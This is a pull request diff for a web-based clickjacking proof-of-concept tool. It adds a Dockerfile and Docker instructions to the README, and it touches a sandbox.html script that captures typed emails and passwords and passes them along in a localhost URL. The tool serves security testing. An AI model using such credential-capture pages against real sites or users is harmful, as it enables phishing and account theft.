Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 4 additions & 0 deletions Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
FROM php:7.4.11
WORKDIR '/app'
COPY . .
CMD [ "php","-S","0.0.0.0:8000" ]
16 changes: 15 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@ Overview
=====
A web based ClickJacking PoC Tool.

Running
Running without Docker
=====
1. Make sure you have php installed (default installed on Kali/Parrot OS)
2. Download If not already there, can also use XAMPP.
Expand All @@ -21,3 +21,17 @@ Running
6. Drag and Drop the Login Buttons for PoC
7. Click on View
8. Your PoC is ready

Running with Docker( You do not need to download dependencies like php )
=====
1. Make sure you have docker installed in your computer.
2. There are two options to run the program in your local machine.
1. Run "docker run -p 8000:8000 saleem8054/clickjackingpoc
2. Build the docker image by yourself.
1. docker build -t DockerID/clickjackingpoc . ( once you build it, there is no need to run this code again)
2. docker run -p 8000:8000 DockerID/clickjackingpoc
3. Open up your browser and type localhost:8000
4. Type in your target website name in the box and hit load.
5. Drag and Drop the Login Buttons for PoC
6. Click on View
8. Your PoC is ready
4 changes: 2 additions & 2 deletions sandbox.html
Original file line number Diff line number Diff line change
Expand Up @@ -72,8 +72,8 @@
console.log('Email: ' + jacksEmail);
console.log('Password: ' + jacksPassword);
alert('Captured Creds are: \nUsername is: ' + jacksEmail + ' \nAND\nPassword is: ' + jacksPassword);
window.location.href = ("http://localhost:8000/credentials.html/poc=" + jacksEmail + ':' + jacksPassword);
window.reload;
window.location.href = ("http://localhost:8000/credentials.html/poc=" + jacksEmail + ':' + jacksPassword);
window.reload;


}
Expand Down